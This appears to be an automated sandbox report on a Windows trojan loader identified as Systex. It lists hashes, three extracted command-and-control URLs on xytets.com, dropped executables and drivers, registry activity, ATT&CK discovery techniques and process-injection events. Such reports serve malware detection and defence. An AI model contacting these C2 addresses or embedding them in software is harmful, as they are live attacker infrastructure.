systex | 15104484e4b4c944345dd832fd41c9f43ab4bedef722a9c4b71e48f22de4b2c0

Analysis

max time kernel
148s
max time network
149s
platform
windows11-ltsc_2024_x64
resource
win11ltsc2024-20260709-en
resource tags

arch:x64arch:x86image:win11ltsc2024-20260709-enlocale:en-usos:windows11-ltsc_2024-x64systemwindows
submitted
05/08/2026, 16:01

Sharing

Copy URL Twitter E-mail

Report Analysis Logs

General

Target
2026-08-05_54b5fdc2653f18867091422c5aa310db_elex_redline-stealer_rhadamanthys_stop.exe
Size 230KB
Sample260805-tf782swtat
SHA256 15104484e4b4c944345dd832fd41c9f43ab4bedef722a9c4b71e48f22de4b2c0
MD5 54b5fdc2653f18867091422c5aa310db
SHA1 d4dd479cb0f7ee24ccb53962b5d1db5f3a7ff3fb
SHA512 b7ae38bb0fb2a659b7657f1cc968a0ff114860bfd6ab9d9abb6d7d890ee978b6bb58afca31029474243b9d9e9b161675dce7e3e217ff7b8c8534e4d8b9c0cf71
SSDEEP 3072:/JWhLPcg3TC0sQB8BPFvdRcF8rFz1wxayNM3coteYnwrZCkAI9:/ghLQ0sQmpcF8BzXfwVfAI
TLSH
T187344A1272808071E7560B78046AE7A14A7E7D344BA5E68FF7A43F795E302D3A93721F
MD5 SHA1 SHA512 SSDEEP TLSH

Score

10^/10

adware discovery systex spyware trojan

Malware Config

Extracted

Family

systex

http://xytets.com:2345/t.asp?os=wangba8102
http://xytets.com:2345/ll/out.txt
http://xytets.com:2345/t.asp?os=home8102

Signatures

Family: Systex
Systex is a trojan loader written in C++.
trojan systex

Executes dropped EXE 64 IoCs

pid	Process
1136	CP.exe
4400	nkfdxvqlga.exe
6812	CP.exe
1320	CP.exe
3508	i_nkfdxvqlga.exe
2868	nkicavsnki.sys
3192	CP.exe
1232	hfaxvpnhfc.exe
6052	CP.exe
1144	CP.exe
6608	i_hfaxvpnhfc.exe
2168	fcxusnkfdx.sys
5972	CP.exe
5736	aupmkfcxup.exe
5828	CP.exe
5616	CP.exe
2736	i_aupmkfcxup.exe
6888	causmkecwu.sys
2740	CP.exe
6464	zxupmkeczx.exe
6328	CP.exe
4572	CP.exe
820	i_zxupmkeczx.exe
5180	keczurpjhe.sys
1132	CP.exe
6772	ecwuomkezw.exe
5188	CP.exe
6784	CP.exe
4056	i_ecwuomkezw.exe
4324	ztrljdbwto.sys
4560	CP.exe
1888	ywrojgbztr.exe
2964	CP.exe
4252	CP.exe
5440	i_ywrojgbztr.exe
5944	jebztqomjd.sys
1896	CP.exe
3196	olbvtolgey.exe
6064	CP.exe
4888	CP.exe
5772	i_olbvtolgey.exe
4704	qnljgbytql.sys
5200	CP.exe
6008	ytqljgbyto.exe
1988	CP.exe
1496	CP.exe
6760	i_ytqljgbyto.exe
6556	fdxvqnifdb.sys
6276	CP.exe
6876	xvsqligavt.exe
4172	CP.exe
3268	CP.exe
5668	i_xvsqligavt.exe
3432	vqkicaysqk.sys
6456	CP.exe
6708	pnhfaxvpnk.exe
6704	CP.exe
2876	CP.exe
6352	i_pnhfaxvpnk.exe
200	snkifaxvsq.sys
5920	CP.exe
4208	nhfaxupnhf.exe
2840	CP.exe
1284	CP.exe

Drops file in Windows directory 64 IoCs

description	ioc	Process
File created	C:\Windows\SystemTemp\chrome_Unpacker_BeginUnzipping6448_1506210179\_locales\es\messages.json	msedge.exe
File created	C:\Windows\SystemTemp\chrome_Unpacker_BeginUnzipping6448_1506210179\_locales\uz\messages.json	msedge.exe
File created	C:\Windows\SystemTemp\chrome_Unpacker_BeginUnzipping6448_1506210179\_locales\zh_TW\messages.json	msedge.exe
File created	C:\Windows\SystemTemp\chrome_Unpacker_BeginUnzipping6448_1506210179\_locales\ne\messages.json	msedge.exe
File created	C:\Windows\SystemTemp\chrome_Unpacker_BeginUnzipping6448_1506210179\_locales\si\messages.json	msedge.exe
File created	C:\Windows\SystemTemp\chrome_Unpacker_BeginUnzipping6448_1506210179\_locales\ru\messages.json	msedge.exe
File created	C:\Windows\SystemTemp\chrome_Unpacker_BeginUnzipping6448_1506210179\_locales\te\messages.json	msedge.exe
File created	C:\Windows\SystemTemp\chrome_Unpacker_BeginUnzipping6448_1182223932\protocols.json	msedge.exe
File created	C:\Windows\SystemTemp\chrome_Unpacker_BeginUnzipping6448_1014437990\keys.json	msedge.exe
File created	C:\Windows\SystemTemp\chrome_Unpacker_BeginUnzipping6448_1014437990\manifest.json	msedge.exe
File created	C:\Windows\SystemTemp\chrome_Unpacker_BeginUnzipping6448_1506210179\_locales\as\messages.json	msedge.exe
File created	C:\Windows\SystemTemp\chrome_Unpacker_BeginUnzipping6448_1506210179\_locales\my\messages.json	msedge.exe
File created	C:\Windows\SystemTemp\chrome_Unpacker_BeginUnzipping6448_1506210179\_locales\km\messages.json	msedge.exe
File created	C:\Windows\SystemTemp\chrome_Unpacker_BeginUnzipping6448_1506210179\_locales\kn\messages.json	msedge.exe
File created	C:\Windows\SystemTemp\chrome_Unpacker_BeginUnzipping6448_1506210179\_locales\ko\messages.json	msedge.exe
File created	C:\Windows\SystemTemp\chrome_Unpacker_BeginUnzipping6448_1506210179\offscreendocument.html	msedge.exe
File created	C:\Windows\SystemTemp\chrome_Unpacker_BeginUnzipping6448_1506210179\_metadata\verified_contents.json	msedge.exe
File created	C:\Windows\SystemTemp\chrome_Unpacker_BeginUnzipping6448_1014437990\LICENSE	msedge.exe
File created	C:\Windows\SystemTemp\chrome_Unpacker_BeginUnzipping6448_1506210179\_locales\af\messages.json	msedge.exe
File created	C:\Windows\SystemTemp\chrome_Unpacker_BeginUnzipping6448_1506210179\_locales\no\messages.json	msedge.exe
File created	C:\Windows\SystemTemp\chrome_Unpacker_BeginUnzipping6448_1506210179\_locales\eu\messages.json	msedge.exe
File created	C:\Windows\SystemTemp\chrome_Unpacker_BeginUnzipping6448_1506210179\_locales\lv\messages.json	msedge.exe
File created	C:\Windows\SystemTemp\chrome_Unpacker_BeginUnzipping6448_1506210179\page_embed_script.js	msedge.exe
File created	C:\Windows\SystemTemp\chrome_Unpacker_BeginUnzipping6448_1130209752\manifest.json	msedge.exe
File created	C:\Windows\SystemTemp\chrome_Unpacker_BeginUnzipping6448_1506210179\_locales\fa\messages.json	msedge.exe
File created	C:\Windows\SystemTemp\chrome_Unpacker_BeginUnzipping6448_1506210179\_locales\mr\messages.json	msedge.exe
File created	C:\Windows\SystemTemp\chrome_Unpacker_BeginUnzipping6448_1014437990\_metadata\verified_contents.json	msedge.exe
File created	C:\Windows\SystemTemp\chrome_Unpacker_BeginUnzipping6448_1506210179\_locales\gu\messages.json	msedge.exe
File created	C:\Windows\SystemTemp\chrome_Unpacker_BeginUnzipping6448_1506210179\_locales\it\messages.json	msedge.exe
File created	C:\Windows\SystemTemp\chrome_Unpacker_BeginUnzipping6448_1506210179\_locales\en_US\messages.json	msedge.exe
File created	C:\Windows\SystemTemp\chrome_Unpacker_BeginUnzipping6448_1506210179\_locales\bg\messages.json	msedge.exe
File created	C:\Windows\SystemTemp\chrome_Unpacker_BeginUnzipping6448_1506210179\_locales\fr\messages.json	msedge.exe
File created	C:\Windows\SystemTemp\chrome_Unpacker_BeginUnzipping6448_1506210179\_locales\ta\messages.json	msedge.exe
File created	C:\Windows\SystemTemp\chrome_Unpacker_BeginUnzipping6448_1506210179\_locales\ur\messages.json	msedge.exe
File created	C:\Windows\SystemTemp\chrome_Unpacker_BeginUnzipping6448_1506210179\_locales\gl\messages.json	msedge.exe
File created	C:\Windows\SystemTemp\chrome_Unpacker_BeginUnzipping6448_1506210179\_locales\hr\messages.json	msedge.exe
File created	C:\Windows\SystemTemp\chrome_Unpacker_BeginUnzipping6448_1506210179\_locales\da\messages.json	msedge.exe
File created	C:\Windows\SystemTemp\chrome_Unpacker_BeginUnzipping6448_1506210179\manifest.json	msedge.exe
File created	C:\Windows\SystemTemp\chrome_Unpacker_BeginUnzipping6448_1506210179\_locales\tr\messages.json	msedge.exe
File created	C:\Windows\SystemTemp\chrome_Unpacker_BeginUnzipping6448_1506210179\_locales\lo\messages.json	msedge.exe
File created	C:\Windows\SystemTemp\chrome_Unpacker_BeginUnzipping6448_1506210179\_locales\es_419\messages.json	msedge.exe
File created	C:\Windows\SystemTemp\chrome_Unpacker_BeginUnzipping6448_1130209752\typosquatting_list.pb	msedge.exe
File created	C:\Windows\SystemTemp\chrome_Unpacker_BeginUnzipping6448_1506210179\offscreendocument_main.js	msedge.exe
File created	C:\Windows\SystemTemp\chrome_Unpacker_BeginUnzipping6448_1506210179\_locales\am\messages.json	msedge.exe
File created	C:\Windows\SystemTemp\chrome_Unpacker_BeginUnzipping6448_1506210179\_locales\sr\messages.json	msedge.exe
File created	C:\Windows\SystemTemp\chrome_Unpacker_BeginUnzipping6448_1506210179\_locales\nl\messages.json	msedge.exe
File created	C:\Windows\SystemTemp\chrome_Unpacker_BeginUnzipping6448_1506210179\_locales\sq\messages.json	msedge.exe
File created	C:\Windows\SystemTemp\chrome_Unpacker_BeginUnzipping6448_1506210179\_locales\or\messages.json	msedge.exe
File created	C:\Windows\SystemTemp\chrome_Unpacker_BeginUnzipping6448_1506210179\_locales\fi\messages.json	msedge.exe
File created	C:\Windows\SystemTemp\chrome_Unpacker_BeginUnzipping6448_1506210179\_locales\sv\messages.json	msedge.exe
File created	C:\Windows\SystemTemp\chrome_Unpacker_BeginUnzipping6448_1506210179\_locales\zh_HK\messages.json	msedge.exe
File created	C:\Windows\SystemTemp\chrome_Unpacker_BeginUnzipping6448_1506210179\_locales\ka\messages.json	msedge.exe
File created	C:\Windows\SystemTemp\chrome_Unpacker_BeginUnzipping6448_1506210179\_locales\en_GB\messages.json	msedge.exe
File created	C:\Windows\SystemTemp\chrome_Unpacker_BeginUnzipping6448_1506210179\_locales\hu\messages.json	msedge.exe
File created	C:\Windows\SystemTemp\chrome_Unpacker_BeginUnzipping6448_1506210179\_locales\et\messages.json	msedge.exe
File created	C:\Windows\SystemTemp\chrome_Unpacker_BeginUnzipping6448_1182223932\manifest.json	msedge.exe
File created	C:\Windows\SystemTemp\chrome_Unpacker_BeginUnzipping6448_780200888\manifest.json	msedge.exe
File created	C:\Windows\SystemTemp\chrome_Unpacker_BeginUnzipping6448_1506210179\service_worker_bin_prod.js	msedge.exe
File created	C:\Windows\SystemTemp\chrome_Unpacker_BeginUnzipping6448_1506210179\_locales\mn\messages.json	msedge.exe
File created	C:\Windows\SystemTemp\chrome_Unpacker_BeginUnzipping6448_1506210179\_locales\ar\messages.json	msedge.exe
File created	C:\Windows\SystemTemp\chrome_Unpacker_BeginUnzipping6448_1506210179\_locales\en_CA\messages.json	msedge.exe
File created	C:\Windows\SystemTemp\chrome_Unpacker_BeginUnzipping6448_1506210179\_locales\id\messages.json	msedge.exe
File created	C:\Windows\SystemTemp\chrome_Unpacker_BeginUnzipping6448_1506210179\_locales\hi\messages.json	msedge.exe
File created	C:\Windows\SystemTemp\chrome_Unpacker_BeginUnzipping6448_1506210179\128.png	msedge.exe

Browser Information Discovery 1 TTPs
Enumerate browser information.
discovery

Browser Information Discovery
T1217

System Location Discovery: System Language Discovery 1 TTPs 42 IoCs

Attempt gather information about the system language of a victim in order to infer the geographical location of that host.

discovery

System Language Discovery

T1614.001

description	ioc	Process
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language	i_ebwtoljgby.exe
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language	CP.exe
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language	i_ecwuomkezw.exe
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language	i_nhfaxupnhf.exe
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language	i_geyojgbztr.exe
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language	nhfcxusmkf.exe
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language	i_xrpmhfzwur.exe
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language	aupmkfcxup.exe
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language	ecwuomkezw.exe
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language	nhfaxupnhf.exe
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language	i_rojhbztrmj.exe
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language	geyojgbztr.exe
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language	ebwtoljgby.exe
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language	avsnkicavs.exe
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language	2026-08-05_54b5fdc2653f18867091422c5aa310db_elex_redline-stealer_rhadamanthys_stop.exe
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language	i_aupmkfcxup.exe
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language	i_ytqljgbyto.exe
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language	xvsqligavt.exe
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language	axsqkicavk.exe
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language	olbvtolgey.exe
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language	i_olbvtolgey.exe
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language	ytqljgbyto.exe
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language	avsqoigdyw.exe
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language	i_avsnkicavs.exe
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language	zxupmkeczx.exe
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language	i_zxupmkeczx.exe
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language	i_axsqkicavk.exe
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language	xupmhfzxup.exe
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language	xrpmhfzwur.exe
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language	hfaxvpnhfc.exe
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language	i_hfaxvpnhfc.exe
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language	ywrojgbztr.exe
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language	i_xvsqligavt.exe
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language	pnhfaxvpnk.exe
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language	i_avsqoigdyw.exe
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language	i_nkfdxvqlga.exe
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language	i_ywrojgbztr.exe
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language	i_pnhfaxvpnk.exe
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language	rojhbztrmj.exe
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language	i_nhfcxusmkf.exe
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language	nkfdxvqlga.exe
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language	i_xupmhfzxup.exe

System Time Discovery 1 TTPs 1 IoCs

Adversary may gather the system time and/or time zone settings from a local or remote system.

discovery

System Time Discovery

T1124

pid	Process
7104	msedge.exe

Enumerates system info in registry 2 TTPs 3 IoCs

Query Registry

T1012

System Information Discovery

T1082

description	ioc	Process
Key opened	\REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\BIOS	msedge.exe
Key value queried	\REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\BIOS\SystemProductName	msedge.exe
Key value queried	\REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\BIOS\SystemManufacturer	msedge.exe

Gathers network information 2 TTPs 20 IoCs

Uses commandline utility to view network configuration.

System Information Discovery

T1082

Command and Scripting Interpreter

T1059

pid	Process
4148	ipconfig.exe
2560	ipconfig.exe
4820	ipconfig.exe
6844	ipconfig.exe
5832	ipconfig.exe
4232	ipconfig.exe
5876	ipconfig.exe
5024	ipconfig.exe
6396	ipconfig.exe
3944	ipconfig.exe
7108	ipconfig.exe
2796	ipconfig.exe
2524	ipconfig.exe
1676	ipconfig.exe
4152	ipconfig.exe
6960	ipconfig.exe
5448	ipconfig.exe
6480	ipconfig.exe
6096	ipconfig.exe
5916	ipconfig.exe

Modifies Internet Explorer settings 1 TTPs 6 IoCs

adware spyware

Modify Registry

T1112

description	ioc	Process
Key created	\REGISTRY\USER\S-1-5-21-1014449518-1831897916-4205727055-1000\Software\Microsoft\Internet Explorer\Main	iexplore.exe
Key created	\REGISTRY\USER\S-1-5-21-1014449518-1831897916-4205727055-1000\Software\Microsoft\Internet Explorer\Main	iexplore.exe
Set value (int)	\REGISTRY\USER\S-1-5-21-1014449518-1831897916-4205727055-1000\Software\Microsoft\Internet Explorer\Main\CompatibilityFlags = "0"	iexplore.exe
Set value (int)	\REGISTRY\USER\S-1-5-21-1014449518-1831897916-4205727055-1000\Software\Microsoft\Internet Explorer\Main\CompatibilityFlags = "0"	iexplore.exe
Set value (int)	\REGISTRY\USER\S-1-5-21-1014449518-1831897916-4205727055-1000\Software\Microsoft\Internet Explorer\Main\DisableFirstRunCustomize = "1"	iexplore.exe
Set value (int)	\REGISTRY\USER\S-1-5-21-1014449518-1831897916-4205727055-1000\Software\Microsoft\Internet Explorer\Main\DisableFirstRunCustomize = "1"	iexplore.exe

Modifies data under HKEY_USERS 2 IoCs

description	ioc	Process
Key created	\REGISTRY\USER\S-1-5-19\Software\Microsoft\Cryptography\TPM\Telemetry	msedge.exe
Set value (int)	\REGISTRY\USER\S-1-5-19\Software\Microsoft\Cryptography\TPM\Telemetry\TraceTimeLast = "134304192766203259"	msedge.exe

Modifies registry class 1 IoCs

description	ioc	Process
Key created	\REGISTRY\MACHINE\Software\Classes\Local Settings\Software\Microsoft\Windows\CurrentVersion\AppModel\Deployment\Package\*\S-1-5-21-1014449518-1831897916-4205727055-1000\{63594C11-97CA-4C92-9FF8-26E6136A52BE}	msedge.exe

Suspicious behavior: EnumeratesProcesses 64 IoCs

pid	Process
472	2026-08-05_54b5fdc2653f18867091422c5aa310db_elex_redline-stealer_rhadamanthys_stop.exe
472	2026-08-05_54b5fdc2653f18867091422c5aa310db_elex_redline-stealer_rhadamanthys_stop.exe
472	2026-08-05_54b5fdc2653f18867091422c5aa310db_elex_redline-stealer_rhadamanthys_stop.exe
472	2026-08-05_54b5fdc2653f18867091422c5aa310db_elex_redline-stealer_rhadamanthys_stop.exe
472	2026-08-05_54b5fdc2653f18867091422c5aa310db_elex_redline-stealer_rhadamanthys_stop.exe
472	2026-08-05_54b5fdc2653f18867091422c5aa310db_elex_redline-stealer_rhadamanthys_stop.exe
472	2026-08-05_54b5fdc2653f18867091422c5aa310db_elex_redline-stealer_rhadamanthys_stop.exe
472	2026-08-05_54b5fdc2653f18867091422c5aa310db_elex_redline-stealer_rhadamanthys_stop.exe
472	2026-08-05_54b5fdc2653f18867091422c5aa310db_elex_redline-stealer_rhadamanthys_stop.exe
472	2026-08-05_54b5fdc2653f18867091422c5aa310db_elex_redline-stealer_rhadamanthys_stop.exe
472	2026-08-05_54b5fdc2653f18867091422c5aa310db_elex_redline-stealer_rhadamanthys_stop.exe
472	2026-08-05_54b5fdc2653f18867091422c5aa310db_elex_redline-stealer_rhadamanthys_stop.exe
472	2026-08-05_54b5fdc2653f18867091422c5aa310db_elex_redline-stealer_rhadamanthys_stop.exe
472	2026-08-05_54b5fdc2653f18867091422c5aa310db_elex_redline-stealer_rhadamanthys_stop.exe
472	2026-08-05_54b5fdc2653f18867091422c5aa310db_elex_redline-stealer_rhadamanthys_stop.exe
472	2026-08-05_54b5fdc2653f18867091422c5aa310db_elex_redline-stealer_rhadamanthys_stop.exe
472	2026-08-05_54b5fdc2653f18867091422c5aa310db_elex_redline-stealer_rhadamanthys_stop.exe
472	2026-08-05_54b5fdc2653f18867091422c5aa310db_elex_redline-stealer_rhadamanthys_stop.exe
472	2026-08-05_54b5fdc2653f18867091422c5aa310db_elex_redline-stealer_rhadamanthys_stop.exe
472	2026-08-05_54b5fdc2653f18867091422c5aa310db_elex_redline-stealer_rhadamanthys_stop.exe
472	2026-08-05_54b5fdc2653f18867091422c5aa310db_elex_redline-stealer_rhadamanthys_stop.exe
472	2026-08-05_54b5fdc2653f18867091422c5aa310db_elex_redline-stealer_rhadamanthys_stop.exe
472	2026-08-05_54b5fdc2653f18867091422c5aa310db_elex_redline-stealer_rhadamanthys_stop.exe
472	2026-08-05_54b5fdc2653f18867091422c5aa310db_elex_redline-stealer_rhadamanthys_stop.exe
472	2026-08-05_54b5fdc2653f18867091422c5aa310db_elex_redline-stealer_rhadamanthys_stop.exe
472	2026-08-05_54b5fdc2653f18867091422c5aa310db_elex_redline-stealer_rhadamanthys_stop.exe
472	2026-08-05_54b5fdc2653f18867091422c5aa310db_elex_redline-stealer_rhadamanthys_stop.exe
472	2026-08-05_54b5fdc2653f18867091422c5aa310db_elex_redline-stealer_rhadamanthys_stop.exe
472	2026-08-05_54b5fdc2653f18867091422c5aa310db_elex_redline-stealer_rhadamanthys_stop.exe
472	2026-08-05_54b5fdc2653f18867091422c5aa310db_elex_redline-stealer_rhadamanthys_stop.exe
472	2026-08-05_54b5fdc2653f18867091422c5aa310db_elex_redline-stealer_rhadamanthys_stop.exe
472	2026-08-05_54b5fdc2653f18867091422c5aa310db_elex_redline-stealer_rhadamanthys_stop.exe
472	2026-08-05_54b5fdc2653f18867091422c5aa310db_elex_redline-stealer_rhadamanthys_stop.exe
472	2026-08-05_54b5fdc2653f18867091422c5aa310db_elex_redline-stealer_rhadamanthys_stop.exe
472	2026-08-05_54b5fdc2653f18867091422c5aa310db_elex_redline-stealer_rhadamanthys_stop.exe
472	2026-08-05_54b5fdc2653f18867091422c5aa310db_elex_redline-stealer_rhadamanthys_stop.exe
472	2026-08-05_54b5fdc2653f18867091422c5aa310db_elex_redline-stealer_rhadamanthys_stop.exe
472	2026-08-05_54b5fdc2653f18867091422c5aa310db_elex_redline-stealer_rhadamanthys_stop.exe
472	2026-08-05_54b5fdc2653f18867091422c5aa310db_elex_redline-stealer_rhadamanthys_stop.exe
472	2026-08-05_54b5fdc2653f18867091422c5aa310db_elex_redline-stealer_rhadamanthys_stop.exe
472	2026-08-05_54b5fdc2653f18867091422c5aa310db_elex_redline-stealer_rhadamanthys_stop.exe
472	2026-08-05_54b5fdc2653f18867091422c5aa310db_elex_redline-stealer_rhadamanthys_stop.exe
472	2026-08-05_54b5fdc2653f18867091422c5aa310db_elex_redline-stealer_rhadamanthys_stop.exe
472	2026-08-05_54b5fdc2653f18867091422c5aa310db_elex_redline-stealer_rhadamanthys_stop.exe
472	2026-08-05_54b5fdc2653f18867091422c5aa310db_elex_redline-stealer_rhadamanthys_stop.exe
472	2026-08-05_54b5fdc2653f18867091422c5aa310db_elex_redline-stealer_rhadamanthys_stop.exe
472	2026-08-05_54b5fdc2653f18867091422c5aa310db_elex_redline-stealer_rhadamanthys_stop.exe
472	2026-08-05_54b5fdc2653f18867091422c5aa310db_elex_redline-stealer_rhadamanthys_stop.exe
472	2026-08-05_54b5fdc2653f18867091422c5aa310db_elex_redline-stealer_rhadamanthys_stop.exe
472	2026-08-05_54b5fdc2653f18867091422c5aa310db_elex_redline-stealer_rhadamanthys_stop.exe
472	2026-08-05_54b5fdc2653f18867091422c5aa310db_elex_redline-stealer_rhadamanthys_stop.exe
472	2026-08-05_54b5fdc2653f18867091422c5aa310db_elex_redline-stealer_rhadamanthys_stop.exe
472	2026-08-05_54b5fdc2653f18867091422c5aa310db_elex_redline-stealer_rhadamanthys_stop.exe
472	2026-08-05_54b5fdc2653f18867091422c5aa310db_elex_redline-stealer_rhadamanthys_stop.exe
472	2026-08-05_54b5fdc2653f18867091422c5aa310db_elex_redline-stealer_rhadamanthys_stop.exe
472	2026-08-05_54b5fdc2653f18867091422c5aa310db_elex_redline-stealer_rhadamanthys_stop.exe
4400	nkfdxvqlga.exe
4400	nkfdxvqlga.exe
4400	nkfdxvqlga.exe
4400	nkfdxvqlga.exe
4400	nkfdxvqlga.exe
4400	nkfdxvqlga.exe
4400	nkfdxvqlga.exe
4400	nkfdxvqlga.exe

Suspicious behavior: LoadsDriver 19 IoCs

pid	Process
824	Process not Found
824	Process not Found
824	Process not Found
824	Process not Found
824	Process not Found
824	Process not Found
824	Process not Found
824	Process not Found
824	Process not Found
824	Process not Found
824	Process not Found
824	Process not Found
824	Process not Found
824	Process not Found
824	Process not Found
824	Process not Found
824	Process not Found
824	Process not Found
824	Process not Found

Suspicious behavior: NtCreateUserProcessBlockNonMicrosoftBinary 4 IoCs

pid	Process
6448	msedge.exe
6448	msedge.exe
6448	msedge.exe
6448	msedge.exe

Suspicious use of AdjustPrivilegeToken 20 IoCs

description	pid	Process
Token: SeDebugPrivilege	3508	i_nkfdxvqlga.exe
Token: SeDebugPrivilege	6608	i_hfaxvpnhfc.exe
Token: SeDebugPrivilege	2736	i_aupmkfcxup.exe
Token: SeDebugPrivilege	820	i_zxupmkeczx.exe
Token: SeDebugPrivilege	4056	i_ecwuomkezw.exe
Token: SeDebugPrivilege	5440	i_ywrojgbztr.exe
Token: SeDebugPrivilege	5772	i_olbvtolgey.exe
Token: SeDebugPrivilege	6760	i_ytqljgbyto.exe
Token: SeDebugPrivilege	5668	i_xvsqligavt.exe
Token: SeDebugPrivilege	6352	i_pnhfaxvpnk.exe
Token: SeDebugPrivilege	5436	i_nhfaxupnhf.exe
Token: SeDebugPrivilege	5980	i_xupmhfzxup.exe
Token: SeDebugPrivilege	5252	i_xrpmhfzwur.exe
Token: SeDebugPrivilege	6588	i_rojhbztrmj.exe
Token: SeDebugPrivilege	6836	i_geyojgbztr.exe
Token: SeDebugPrivilege	6152	i_ebwtoljgby.exe
Token: SeDebugPrivilege	6928	i_avsqoigdyw.exe
Token: SeDebugPrivilege	5916	i_avsnkicavs.exe
Token: SeDebugPrivilege	408	i_axsqkicavk.exe
Token: SeDebugPrivilege	5628	i_nhfcxusmkf.exe

Suspicious use of FindShellTrayWindow 1 IoCs

pid	Process
6448	msedge.exe

Suspicious use of WriteProcessMemory 64 IoCs

description	pid	Process	procid_target
PID 472 wrote to memory of 6828	472	2026-08-05_54b5fdc2653f18867091422c5aa310db_elex_redline-stealer_rhadamanthys_stop.exe	89
PID 472 wrote to memory of 5092	472	2026-08-05_54b5fdc2653f18867091422c5aa310db_elex_redline-stealer_rhadamanthys_stop.exe	90
PID 6828 wrote to memory of 6448	6828	iexplore.exe	91
PID 5092 wrote to memory of 5464	5092	iexplore.exe	92
PID 6448 wrote to memory of 5256	6448	msedge.exe	93
PID 6448 wrote to memory of 7104	6448	msedge.exe	94
PID 6448 wrote to memory of 2472	6448	msedge.exe	95
PID 6448 wrote to memory of 2472	6448	msedge.exe	95
PID 6448 wrote to memory of 2472	6448	msedge.exe	95
PID 6448 wrote to memory of 3376	6448	msedge.exe	97
PID 6448 wrote to memory of 3376	6448	msedge.exe	97
PID 6448 wrote to memory of 5484	6448	msedge.exe	99
PID 6448 wrote to memory of 1428	6448	msedge.exe	98
PID 6448 wrote to memory of 5484	6448	msedge.exe	99
PID 6448 wrote to memory of 5484	6448	msedge.exe	99
PID 6448 wrote to memory of 1428	6448	msedge.exe	98
PID 6448 wrote to memory of 1428	6448	msedge.exe	98
PID 6448 wrote to memory of 6208	6448	msedge.exe	100
PID 6448 wrote to memory of 6208	6448	msedge.exe	100
PID 6448 wrote to memory of 6208	6448	msedge.exe	100
PID 472 wrote to memory of 1136	472	2026-08-05_54b5fdc2653f18867091422c5aa310db_elex_redline-stealer_rhadamanthys_stop.exe	102
PID 4400 wrote to memory of 6812	4400	nkfdxvqlga.exe	105
PID 6448 wrote to memory of 3800	6448	msedge.exe	108
PID 6448 wrote to memory of 7108	6448	msedge.exe	109
PID 6448 wrote to memory of 3800	6448	msedge.exe	108
PID 6448 wrote to memory of 7108	6448	msedge.exe	109
PID 6448 wrote to memory of 6592	6448	msedge.exe	111
PID 472 wrote to memory of 1320	472	2026-08-05_54b5fdc2653f18867091422c5aa310db_elex_redline-stealer_rhadamanthys_stop.exe	114
PID 472 wrote to memory of 3192	472	2026-08-05_54b5fdc2653f18867091422c5aa310db_elex_redline-stealer_rhadamanthys_stop.exe	118
PID 1232 wrote to memory of 6052	1232	hfaxvpnhfc.exe	120
PID 472 wrote to memory of 1144	472	2026-08-05_54b5fdc2653f18867091422c5aa310db_elex_redline-stealer_rhadamanthys_stop.exe	123
PID 472 wrote to memory of 5972	472	2026-08-05_54b5fdc2653f18867091422c5aa310db_elex_redline-stealer_rhadamanthys_stop.exe	127
PID 5736 wrote to memory of 5828	5736	aupmkfcxup.exe	129
PID 472 wrote to memory of 5616	472	2026-08-05_54b5fdc2653f18867091422c5aa310db_elex_redline-stealer_rhadamanthys_stop.exe	132
